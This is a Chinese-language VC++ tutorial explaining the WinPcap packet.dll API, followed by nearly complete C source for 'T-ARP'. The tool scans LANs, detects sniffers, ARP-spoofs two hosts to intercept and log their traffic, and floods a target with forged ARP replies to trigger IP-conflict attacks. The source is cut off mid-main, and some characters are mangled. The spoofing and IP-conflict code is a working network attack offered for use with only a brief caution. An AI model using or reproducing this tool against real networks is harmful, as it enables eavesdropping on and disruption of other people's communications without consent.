程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> VC >> 關於VC++ >> 調用winpcap驅動寫arp多功能工具

調用winpcap驅動寫arp多功能工具

編輯:關於VC++

一、winpcap驅動簡介

winpcap(windows packet capture)是windows平台下一個免費,公共的網絡訪問系統。

(編者注:WinpCap開發包可以到以下兩個網址下載: (1)http://winpcap.polito.it/ , (2)VC知識庫工具欄目 )

開發winpcap這個項目的目的在於為win32應用程序提供訪問網絡底層的能力。它提供了以下的各項功能:

1> 捕獲原始數據報,包括在共享網絡上各主機發送/接收的以及相互之間交換的數據報;

2> 在數據報發往應用程序之前,按照自定義的規則將某些特殊的數據報過濾掉;

3> 在網絡上發送原始的數據報;

4> 收集網絡通信過程中的統計信息。

winpcap的主要功能在於獨立於主機協議(如TCP-IP)而發送和接收原始數據報。也就是說,winpcap不能阻塞,過濾或控制其他應用程序數據報的發收,它僅僅只是監聽共享網絡上傳送的數據報。因此,它不能用於QoS調度程序或個人防火牆。

目前,winpcap開發的主要對象是windows NT/2000/XP,這主要是因為在使用winpcap的用戶中只有一小部分是僅使用windows 95/98/Me,並且M$也已經放棄了對win9x的開發。因此本文相關的程序T-ARP也是面向NT/2000/XP用戶的。其實winpcap中的面向9x系統的概念和NT系統的非常相似,只是在某些實現上有點差異,比如說9x只支持ANSI編碼,而NT系統則提倡使用Unicode編碼。

本文討論的是packet.dll所提供的各種函數,因為它們完全可以實現本文所希望的各項要求。但是如果你有其他特別的或更高級的要求,winpcap也提供了另一個動態連接庫wpcap.dll。雖然wpcap.dll依靠於packet.dll,但是它卻提供了一種更簡單,直接,有力的方法來更好的利用編程環境。比如捕獲一個數據報,創建一個數據報過濾裝置或將監聽到的數據報轉存到某個文件等,wpcap.dll都會為你提供更加安全的實現方法。

二、Packet.dll相關數據結構及函數

本文的目的之一在於介紹如何利用winpcap驅動寫ARP工具,因此有必要介紹一些相關的數據結構和函數,要不然看著一行行代碼和函數,也許會有些不知所雲。

首先介紹一些相關的數據結構:

1. typedef struct _ADAPTER ADAPTER //描述一個網絡適配器;

2. typedef struct _PACKET PACKET //描述一組網絡數據報的結構;

3. typedef struct NetType NetType //描述網絡類型的數據結構;

4. typedef struct npf_if_addr npf_if_addr //描述一個網絡適配器的ip地址;

5. struct bpf_hdr //數據報頭部;

6. struct bpf_stat //當前捕獲數據報的統計信息。

下面,將介紹T-ARP用到的各個函數,他們都是在packet.dll中定義的:

1> LPPACKET PacketAllocatePacket(void)

如果運行成功,返回一個_PACKET結構的指針,否則返回NULL。成功返回的結果將會傳送到PacketReceivePacket()函數,接收來自驅動的網絡數據報。

2> VOID PacketCloseAdapter(LPADAPTER lpAdapter)

關閉參數中提供的網絡適配器,釋放相關的ADAPTER結構。

3> VOID PacketFreePacket(LPPACKET lpPacket)

釋放參數提供的_PACKET結構。

4> BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)

返回可以得到的網絡適配器列表及描述。

5> BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)

返回某個網絡適配器的全面地址信息。

其中npf_ip_addr結構包含:IPAddress,SubnetMask,Broadcast

IPAddress: ip地址

SubnetMask: 子網掩碼

Broadcast: 廣播地址

6> BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)

返回某個網絡適配器的MAC類型。

NetType結構裡包含了LinkSpeed(速度)和LinkType(類型)。其中LinkType包含以下幾種情況:

NdisMedium802_3: Ethernet(802.3)

NdisMediumWan: WAN

NdisMedium802_5: Token Ring(802.5)

NdisMediumFddi: FDDI

NdisMediumAtm: ATM

NdisMediumArcnet878_2: ARCNET(878.2)

7> BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)

返回幾個關於當前捕獲報告的統計信息。

其中bpf_stat結構包含:bs_recv, bs_drop,ps_ifdrop,bs_capt

bs_recv: 從網絡適配器開始捕獲數據報開始所接收到的所有數據報的數目,包括丟失的數據報;

bs_drop: 丟失的數據報數目。在驅動緩沖區已經滿時,就會發生數據報丟失的情況。

8> PCHAR PacketGetVersion()

返回關於dll的版本信息。

9> VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)

初始化一個_PACKET結構。

10> LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)

打開一個網絡適配器。

11> BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)

從NPF驅動程序讀取網絡數據報及統計信息。

數據報編碼結構: |bpf_hdr|data|Padding|bpf_hdr|data|Padding|

12> BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)

發送一個或多個數據報的副本。

13> BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)

設置捕獲數據報的內核級緩沖區大小。

14> BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)

為接收到的數據報設置硬件過濾規則。

以下為一些典型的過濾規則:

NDIS_PACKET_TYPE_PROMISCUOUS: 設置為混雜模式,接收所有流過的數據報;

NDIS_PACKET_TYPE_DIRECTED: 只有目的地為本地主機網絡適配器的數據報才會被接收;

NDIS_PACKET_TYPE_BROADCAST: 只有廣播數據報才會被接收;

NDIS_PACKET_TYPE_MULTICAST: 只有與本地主機網絡適配器相對應的多播數據報才會被接收;

NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播數據報均被接收;

NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地數據報均被接收。

15> BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)

設置調用PacketSendPacket()函數發送一個數據報副本所重復的次數。

16> BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)

設置在接收到一個數據報後“休息”的時間。

以上就是T-ARP所調用的各個函數,它包含了packet.dll裡的大部分函數。如果你想更深層的了解winpcap,請訪問相關網站,主頁地址: http://winpcap.polito.it

三、T-ARP功能及原理介紹

准備工作:

1. 安裝winpcap驅動,目前最新的版本為winpcap_3.0_alpha, 穩定版本為winpcap_2.3;

2. 使用ARP欺騙功能前,必須啟動ip路由功能,修改(添加)注冊表選項:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1 

選項:

-m 主機掃描,獲得局域網內指定ip段中存活主機的ip地址和mac地址;

-a 反嗅探掃描,獲得局域網內指定ip段中嗅探主機的ip地址和mac地址;

-s ARP欺騙,欺騙局域網內指定的兩台主機,使其相互發送接收的數據報均通過本地主機;

網絡嗅探,如果你選擇欺騙的兩台主機均是本地主機,那麼將會監聽到所有流過本地主機的數據報;

IP沖突,如果你選擇欺騙的兩台主機是同一台非本地主機,那麼就會發起ip沖突攻擊;

-r 重置被欺騙主機,使被欺騙的兩台主機恢復正常的工作狀態。

原理及實現過程:

無論什麼選項,第一件事就是獲得本地主機的mac地址及相關網絡設置。我們以一個特殊的ip地址(112.112.112.112)向本地主機發送一個ARP Request(ARP請求)數據報,當本地主機接收到後,就會發送一個ARP Reply(ARP應答)數據報來回應請求,這樣我們就可以獲得本地主機的mac地址了。至於相關的網絡設置可以通過PacketGetNetInfoEx()和PacketGetNetType()獲得。

-m 以本地主機的名義(本地主機的ip和mac)向指定ip網段內的所有主機發送廣播(ff:ff:ff:ff:ff:ff)ARP Request數據報,存活的主機就會發送ARP Reply數據報,這樣就可以獲得當前存活主機的列表。因為在很多網關上都對ARP Request做了限制--非內網ip發送的ARP Request數據報不會得到網關的回應,如果你用內網的其他某台主機的ip來發送ARP Request數據報,如果填寫的mac地址和相應的ip不合,就會出現ip沖突。所以最好還是用自己的ip和mac地址來發送請求。

-a 以本地主機的名義(本地主機的ip和mac)向指定ip網段內的所有主機發送31位偽廣播地址(ff:ff:ff:ff:ff:fe)的ARP Request數據報,只有正在嗅探的主機才會發送ARP Reply數據報,這樣就可以獲得當前存活主機的列表。嗅探中的win2000系統還會對16位偽廣播地址(ff:ff:00:00:00:00)做出回應;而嗅探中的win95/98/me不僅會回應16位偽廣播地址,而且也會回應8位偽廣播地址(ff:00:00:00:00:00),而*NIX系統對各種廣播地址所做出的反應卻有些不同。在此我們選擇31位偽廣播地址,是因為絕大多數的系統在嗅探時都會對它做出回應。而正常狀況下的各種系統,都不會對31位偽廣播地址做出回應。

-s (ARP欺騙spoof) 需要強調的是在某些局域網(如以太網)內,數據報的發送與接收是基於硬件地址的,這是我們實現欺騙的基礎。首先獲得指定的兩台主機(假設為 A 和 B)的mac地址,然後向A發送ARP Reply數據報,其中的源ip地址為B的ip地址,但是源mac地址卻是本地主機的mac地址,這樣主機A就會認為主機B的mac地址是本地主機的mac地址,所以主機A發送到主機B的數據報都發送到本地主機了。同理向主機B發送ARP Reply數據報,通知它主機A的mac地址為本地主機的mac地址。這樣主機A和主機B就會把目的主機的mac地址理解為本地主機的mac地址,於是他們之間相互發送的數據報都首先到達了本地主機,而先前我們已經將本地主機設置了ip路由功能,系統會自動將數據報轉發到真正的目的主機。其間,你就可以監聽它們通信的各種數據報了。

-s (網絡嗅探sniff) 如果指定的兩個目的主機均為本地主機,那麼就只是將網絡適配器設置為混雜模式,這樣就可以監聽到流過本地主機網絡適配器的各種數據。

-s (ip沖突shock) 如果你選擇欺騙的兩台主機是同一台非本地主機(假如是主機C),那麼就會不斷地向主機C發送ARP Reply數據報,報文中的源ip地址就是主機C的ip地址,但是源mac地址卻是本地主機的mac地址,因此主機C就會發現有另一台主機同時擁有和自己相同的ip,這就是ip沖突攻擊。如果是非xp系統,都會跳出一個ip沖突的提示窗口,而xp系統也會有類似的警告。但是請注意,在主機C的系統事件查看器中,會留下本地主機的mac地址與之沖突的惡心記錄,所以你最好不要濫用這個功能。

-r 在實現了ARP欺騙的情況下,向主機A和B發送ARP Reply數據報,通知主機A(B)注意主機B(A)的mac地址為主機B(A)自己的mac地址,這樣主機A和B就會更新他們的ARP緩存,實現正常的數據通信。

四、T-ARP主要代碼分析

1> 自定義函數:

int getmine() //發送ARP Request數據報,請求獲得本地主機的mac地址;

void getdata(LPPACKET lp,int op) //分類處理接收到的數據報;

DWORD WINAPI sniff(LPVOID no) //將網絡適配器設置為混雜模式,接收所有流過的數據報;

DWORD WINAPI sendMASR(LPVOID no) //發送ARP Request數據報,請求獲得指定ip的mac地址;

DWORD WINAPI sendSR(LPVOID no) //發送ARP Reply進行ARP欺騙,或是更新主機的ARP緩存。

2> 主要代碼分析

printf("\nLibarary Version: %s",PacketGetVersion()); //輸出dll的版本信息;

PacketGetAdapterNames((char *)adaptername,&adapterlength) //獲得本地主機的網絡適配器列表和描述;

lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打開指定的網絡適配器;

PacketGetNetType(lpadapter,&ntype) //獲得網絡適配器的MAC類型;

PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen) //獲得指定網絡適配器的相關信息;

rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid); //創建一個新線程來監聽網絡數據報;

PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS) //將網絡適配器設置為混雜模式,這樣才可以監聽流過本地主機的數據報;

PacketSetBuff(lpadapter,500*1024) //自定義網絡適配器的內核緩存的大小為 500*1024;

PacketSetReadTimeout(lpadapter,1) //設置接收一個數據報後等待的時間為1毫秒;

PacketReceivePacket(lpadapter,lppacketr,TRUE) //在設置為混雜模式後,接收所有的數據報;

sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);

sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid); //創建一個新線程發送特定的ARP數據報

PacketSetNumWrites(lpadapter,2) //在發送一個數據報時,重復發送兩次;

PacketSendPacket(lpadapter,lppackets,TRUE) //發送自定義數據報;

WaitForSingleObject(sthread,INFINITE); //等待發送ARP數據報的線程結束;

PacketGetStats(lpadapter,&stat) //獲得網絡適配器的統計信息;

五、T-ARP源代碼

#include "packet32.h"
#include "ntddndis.h"
#include <stdio.h>
#include <conio.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")
#define ETH_IP    0x0800
#define ETH_ARP   0x0806
#define ARP_REQUEST 0x0001
#define ARP_REPLY  0x0002
#define ARP_HARDWARE 0x0001
#define max_num_adapter 10
#pragma pack(push,1)
typedef struct ethdr
{
  unsigned char  eh_dst[6];
  unsigned char  eh_src[6];
  unsigned short eh_type;
}ETHDR,*PETHDR;
typedef struct arphdr
{
  unsigned short arp_hdr;
  unsigned short arp_pro;
  unsigned char  arp_hln;
  unsigned char  arp_pln;
  unsigned short arp_opt;
  unsigned char  arp_sha[6];
  unsigned long  arp_spa;
  unsigned char  arp_tha[6];
  unsigned long  arp_tpa;
}ARPHDR,*PARPHDR;
typedef struct iphdr
{
  unsigned char h_lenver;
  unsigned char tos;
  unsigned short total_len;
  unsigned short ident;
  unsigned short frag_and_flags;
  unsigned char ttl;
  unsigned char proto;
  unsigned short checksum;
  unsigned int  sourceip;
  unsigned int  destip;
}IPHDR,*PIPHDR;
#pragma pack(push)
LPADAPTER lpadapter=0;
LPPACKET lppacketr,lppackets;
ULONG   myip,firstip,secondip;
UCHAR   mmac[6]={0},fmac[6]={0},smac[6]={0};
BOOL   mm=FALSE,fm=FALSE,sm=FALSE;
FILE   *fp;
char   adapterlist[max_num_adapter][1024];
char   msg[50];
int    num=0;
void start()
{
  printf("T-ARP --- ARP Tools, by TOo2y(??), 11-9-2002\n");
  printf("Homepage: www.safechina.net\n");
  printf("E-mail: [email protected]\n");
  return ;
}
void usage()
{
  printf("\nUsage: T-ARP [-m|-a|-s|-r] firstip secondip \n\n");
  printf("Option:\n");
  printf("  -m mac    Get the mac address from firstip to secondip\n");
  printf("  -a antisniff Get the sniffing host from firstip to secondip\n");
  printf("  -s spoof   1> Spoof the host between firstip and secondip\n");
  printf("    sniff   2> Sniff if firstip == secondip == your own ip\n");
  printf("    shock   3> Shock if firstip == secondip != your own ip\n");
  printf("  -r reset   Reset the spoofed host work normally\n\n");
  printf("Attention:\n");
  printf("  1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");
  printf("  2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter == 0x1\n\n");
  return ;
}
int getmine()
{
  char  sendbuf[1024];
  int  k;
  ETHDR eth;
  ARPHDR arp;
  for(k=0;k<6;k++)
  {
    eth.eh_dst[k]=0xff;
    eth.eh_src[k]=0x82;
    arp.arp_sha[k]=0x82;
    arp.arp_tha[k]=0x00;
  }
  eth.eh_type=htons(ETH_ARP);
  arp.arp_hdr=htons(ARP_HARDWARE);
  arp.arp_pro=htons(ETH_IP);
  arp.arp_hln=6;
  arp.arp_pln=4;
  arp.arp_opt=htons(ARP_REQUEST);
  arp.arp_tpa=htonl(myip);
  arp.arp_spa=inet_addr("112.112.112.112");
  memset(sendbuf,0,sizeof(sendbuf));
  memcpy(sendbuf,ð,sizeof(eth));
  memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
  PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
  if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
  {
    printf("PacketSendPacket in getmine Error: %d\n",GetLastError());
    return -1;
  }
  return 0;
}
void getdata(LPPACKET lp,int op)
{
  ULONG ulbytesreceived,off,tlen,ulen,ulLines;
  ULONG j,k;
  ETHDR *eth;
  ARPHDR *arp;
  PIPHDR ip;
  char  *buf,*pChar,*pLine,*base;
  struct bpf_hdr   *hdr;
  struct sockaddr_in sin;
  ulbytesreceived=lp->ulBytesReceived;
  buf=(char *)lp->Buffer;
  off=0;
  while(off<ulbytesreceived)
  {
    if(kbhit())
    {
      return ;
    }
    hdr=(struct bpf_hdr *)(buf+off);
    off+=hdr->bh_hdrlen;
    pChar=(char *)(buf+off);
    base=pChar;
    off=Packet_WORDALIGN(off+hdr->bh_caplen);
    eth=(PETHDR)pChar;
    arp=(PARPHDR)(pChar+sizeof(ETHDR));
    if(eth->eh_type==htons(ETH_IP))
    {
      ip=(PIPHDR)(pChar+sizeof(ETHDR));
      if(fm && sm && (op==3)) 
      { 
        if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip))
              && !strcmp((char *)eth->eh_dst,(char *)mmac))
        && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip))
        || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))
              || ((firstip==myip) && (secondip==myip)))
        {
          memset(msg,0,sizeof(msg));
          sin.sin_addr.s_addr=ip->sourceip;
          printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));
                 strcpy(msg,inet_ntoa(sin.sin_addr));
          strcat(msg+15," ---> ");
          sin.sin_addr.s_addr=ip->destip;
          printf("%16s\n",inet_ntoa(sin.sin_addr));

          strcat(msg+23,inet_ntoa(sin.sin_addr));
          fseek(fp,-2,1);
          fwrite("\r\n\r\n\r\n",6,1,fp);
          fwrite(msg,38,1,fp);
          fwrite("\r\n",2,1,fp);
          ulLines=(hdr->bh_caplen+15)/16;
          for(k=0;k<ulLines;k++)
          {
            pLine=pChar;
            printf("%08lx : ",pChar-base);
            ulen=tlen;
            ulen=(ulen>16) ? 16 : ulen;
            tlen-=ulen;
            for(j=0;j<ulen;j++)
              printf("%02x ",*(BYTE *)pChar++);
            if(ulen<16)
              printf("%*s",(16-ulen)*3," ");
            pChar=pLine;
            for(j=0;j<ulen;j++,pChar++)
            {
              printf("%c",isprint(*pChar)? *pChar : ''.'');
              fputc(isprint(*pChar) ? *pChar : ''.'',fp);
            }
            printf("\n");
          }
          printf("\n");
                 fwrite("\r\n",2,1,fp);
        }
      }
      continue;
    }
     else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY))) 
    {
          sin.sin_addr.s_addr=arp->arp_spa;
            if(sin.sin_addr.s_addr==htonl(myip))
      {
            memcpy(mmac,eth->eh_src,6);
            if(!mm)
         {
          printf("\t");
              for(k=0;k<5;k++)
            printf("%.2x-",eth->eh_src[k]);
           printf("%.2x\n",eth->eh_src[5]);
              switch(op)
        {
               case 1:
                 printf("\n[MAC LIST:]");
                  break;
                case 2:
                printf("\n[Sniffing Host:]");
                 break;
               default:          
                 break;
        }
      }
        mm=TRUE;
    }
      if((op==1) || (op==2))
    {
        printf("\n[IP:] %.16s\t[MAC:] ",inet_ntoa(sin.sin_addr));
        for(k=0;k<5;k++)
          printf("%.2x-",eth->eh_src[k]);
        printf("%.2x",eth->eh_src[5]);
      }
          else if(((op==3) || (op==4)) && (!fm || !sm))
      {
            if(arp->arp_spa==htonl(firstip))
        {
                memcpy(fmac,eth->eh_src,6);
                fm=TRUE;
        }

        if(arp->arp_spa==htonl(secondip))
        {
               memcpy(smac,eth->eh_src,6);
               sm=TRUE;
        }
      }
    }
  }
  return ;
}

DWORD WINAPI sniff(LPVOID no)
{
  int   option=*(int *)no;
  char   recvbuf[1024*250];
  if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)
  {
    printf("Warning: Unable to set the adapter to promiscuous mode\n");
  }
  if(PacketSetBuff(lpadapter,500*1024)==FALSE)
  {
    printf("PacketSetBuff Error: %d\n",GetLastError());
    return -1;
  }
  if(PacketSetReadTimeout(lpadapter,1)==FALSE)
  {
    printf("Warning: Unable to set the timeout\n");
  }
  if((lppacketr=PacketAllocatePacket())==FALSE)
  {
    printf("PacketAllocatePacket receive Error: %d\n",GetLastError());
    return -1;
  }
  PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));
  while(!kbhit())
  {
    if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
    {
          return -1;
    }
    getdata(lppacketr,option);
  }
  return 0;
}
DWORD WINAPI sendMASR(LPVOID no)
{
  int  fun=*(int *)no;
  int  k,stimes;
    char  sendbuf[1024];
  ETHDR eth;
  ARPHDR arp;
  if(fun<1 || fun>4)
  {
    return -1;
  }
  else
  {
    for(k=0;k<6;k++)
    {
      eth.eh_dst[k]=0xff;
      arp.arp_tha[k]=0x00;
    }
    if(fun==2)
      eth.eh_dst[5]=0xfe;
  }
  memcpy(eth.eh_src,mmac,6);
  eth.eh_type=htons(ETH_ARP);
  arp.arp_hdr=htons(ARP_HARDWARE);
  arp.arp_pro=htons(ETH_IP);
  arp.arp_hln=6;
  arp.arp_pln=4;
  arp.arp_opt=htons(ARP_REQUEST);
  arp.arp_spa=htonl(myip);
  memcpy(arp.arp_sha,mmac,6);
  if(fun==1 || fun==2)
    stimes=1;
  else if(fun==3 || fun==4)
    stimes=2;
  for(k=0;k<stimes;k++)
  {
    if(stimes==1)
    {
      arp.arp_tpa=htonl(firstip+(num++));
    }
    else if(stimes==2)
    {
      switch(k)
      {
      case 0:
        arp.arp_tpa=htonl(firstip);
        break;
      case 1:
        arp.arp_tpa=htonl(secondip);
        break;
      default:
        break;
      }
    }
    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,ð,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
      printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
      return -1;
    }
  }
  return 0;
}

DWORD WINAPI sendSR(LPVOID no)
{
  int   fun=*(int *)no;
  int   j,k;
  char  sendbuf[1024];
  struct sockaddr_in fsin,ssin;
  BOOL  stimes=FALSE;
  ETHDR  eth;
  ARPHDR arp;
  fsin.sin_addr.s_addr=htonl(firstip);
  ssin.sin_addr.s_addr=htonl(secondip);
  eth.eh_type=htons(ETH_ARP);
  arp.arp_hdr=htons(ARP_HARDWARE);
  arp.arp_pro=htons(ETH_IP);
  arp.arp_hln=6;
  arp.arp_pln=4;
    arp.arp_opt=htons(ARP_REPLY);
  if(fun==3)
  {
    if(mm)
    {
      if((firstip==myip) && (secondip==myip))
      {
              fm=TRUE;
             sm=TRUE;
        memcpy(fmac,mmac,6);
        memcpy(smac,mmac,6);
      }
      else if(!fm || !sm)
      {
              printf("\nNot get enough data\n");
            return -1;
      }
      for(j=0;j<2;j++)
      {
        if(j==0)
        {
          printf("\nSpoofing %.16s : ",inet_ntoa(fsin.sin_addr));
          printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
        }
        else if(j==1)
        {
          printf("Spoofing %.16s : ",inet_ntoa(ssin.sin_addr));
          printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
        }
              for(k=0;k<5;k++)
              printf("%.2x-",mmac[k]);
            printf("%.2x\n",mmac[5]);
      }
      printf("\ni will try to snoof ...\n\n");
            stimes=TRUE;
    }
    else
    {
        printf("\nNot get enough data\n");
        return -1;
    }
  }
  else if(fun==4)
  {
    if(mm)
    {
      if((firstip==myip) && (secondip==myip))
      {
              fm=TRUE;
              sm=TRUE;
        memcpy(fmac,mmac,6);
        memcpy(smac,mmac,6);
      }
      else if(!fm || !sm)
      {
             printf("\nNot get enough data\n");
             return -1;
      }
      printf("\nReset %.16s : ",inet_ntoa(fsin.sin_addr));
      printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));
          for(k=0;k<5;k++)
             printf("%.2x-",smac[k]);
         printf("%.2x\n",smac[5]);
      printf("Reset %.16s : ",inet_ntoa(ssin.sin_addr));
      printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));
          for(k=0;k<5;k++)
             printf("%.2x-",fmac[k]);
          printf("%.2x\n\n",fmac[5]);
          stimes=FALSE;
    }
    else
    {
      printf("\nNot get enough data\n");
        return -1;
    }
  }
  else
    return -1;
  do
  {
    memcpy(eth.eh_dst,fmac,6);
    memcpy(arp.arp_tha,fmac,6);
    arp.arp_tpa=htonl(firstip);
    arp.arp_spa=htonl(secondip);
    if(!stimes)
    {
      memcpy(eth.eh_src,smac,6);
      memcpy(arp.arp_sha,smac,6);
    }
    else
    {
      memcpy(eth.eh_src,mmac,6);
      memcpy(arp.arp_sha,mmac,6);
    }
    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,ð,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
        if(PacketSetNumWrites(lpadapter,2)==FALSE)
    {
        printf("Warning: Unable to send a packet 2 times\n");
    }
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
      printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
      return -1;
    }
    Sleep(1000);
    memcpy(eth.eh_dst,smac,6);
    memcpy(arp.arp_tha,smac,6);
    arp.arp_tpa=htonl(secondip);
    arp.arp_spa=htonl(firstip);
    if(!stimes)
    {
      memcpy(eth.eh_src,fmac,6);
      memcpy(arp.arp_sha,fmac,6);
    }
       else
    {
      memcpy(eth.eh_src,mmac,6);
      memcpy(arp.arp_sha,mmac,6);
    }
    memset(sendbuf,0,sizeof(sendbuf));
    memcpy(sendbuf,ð,sizeof(eth));
    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
    {
      printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
      return -1;
    }
    Sleep(1000);
  }while(stimes);
  if(fun==4)
    printf("Reset Successfully");
  return 0;
}
int main(int argc,char *argv[])
{
  HANDLE  sthread,rthread;
  WCHAR  adaptername[8192];
  WCHAR  *name1,*name2;
  ULONG  adapterlength;
  DWORD  threadsid,threadrid;
  struct  NetType   ntype;
  struct  bpf_stat   stat;
  struct  sockaddr_in sin;
  struct  npf_if_addr ipbuff;
  int   adapternum=0,opti=0,open,i,total;
  long   npflen;
  system("cls.exe");
  start();
  if(argc!=4)
  {
    usage();
    getche();
    return -1;
  }
  else
  {
    if(!strcmp(argv[1],"-m"))
    {
      opti=1;
    }
    else if(!strcmp(argv[1],"-a"))
    {
      opti=2;
    }
    else if(!strcmp(argv[1],"-s"))
    {
       opti=3;
          if((fp=fopen("capture.txt","w+"))==NULL)
        {
             printf("Open capture.txt Error: %d\n");
                return -1;
        }
           else
        {
              fwrite("T-ARP Captrue Data",20,1,fp);
        }
      }
    else if(!strcmp(argv[1],"-r"))
    {
      opti=4;
    }
    else
    {
      usage();
      getche();
      return -1;
    }
  }
  firstip=ntohl(inet_addr(argv[2]));
  secondip=ntohl(inet_addr(argv[3]));
  total=secondip-firstip+1;
  printf("\nLibarary Version: %s",PacketGetVersion());
  adapterlength=sizeof(adaptername);
  if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)
  {
    printf("PacketGetAdapterNames Error: %d\n",GetLastError());
    return -1;
  }

  name1=adaptername;
  name2=adaptername;
  i=0;
  while((*name1!=''\0'') || (*(name1-1)!=''\0''))
  {
    if(*name1==''\0'')
    {
      memcpy(adapterlist[i],name2,2*(name1-name2));
      name2=name1+1;
      i++;
    }
    name1++;
  }
  adapternum=i;
  printf("\nAdapters Installed:\n");
  for(i=0;i<adapternum;i++)
    wprintf(L"%d - %s\n",i+1,adapterlist[i]);
  do
  {
    printf("\nSelect the number of the adapter to open: ");
    scanf("%d",&open);
    if(open>=1 && open<=adapternum)
      break;
  }while(open<1 || open>adapternum);
  lpadapter=PacketOpenAdapter(adapterlist[open-1]);
  if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
  {
    printf("PacketOpenAdapter Error: %d\n",GetLastError());
    return -1;
  }
  if(PacketGetNetType(lpadapter,&ntype))
  {
    printf("\n\t\t*** Host Information ***\n");
    printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
    printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
  }
  npflen=sizeof(ipbuff);
  if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))
  {
    sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);
    printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));
    sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);
    printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));
    sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);
    printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
    myip=ntohl(sin.sin_addr.s_addr);
    printf("[MACAddress:]");
  }
  else
  {
    printf("\nNot get enough data\n");
    PacketFreePacket(lppackets);
    PacketCloseAdapter(lpadapter);
    return -1;
  }
  if((lppackets=PacketAllocatePacket())==FALSE)
  {
    printf("PacketAllocatePacket send Error: %d\n",GetLastError());
    return -1;
  }
  rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);
  Sleep(300);
  if(getmine())
  {
    PacketFreePacket(lppackets);
    PacketFreePacket(lppacketr);
    PacketCloseAdapter(lpadapter);
    return -1;
  }
  Sleep(300);
  if((opti==1) || (opti==2))
  {
    for(i=0;i<total;i++)
    {
      sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
      Sleep(30);
    }
    Sleep(1000);
  }
  else if((opti==3) || (opti==4))
  {
    sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);
    Sleep(300);
    CloseHandle(sthread);
    sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);
  }
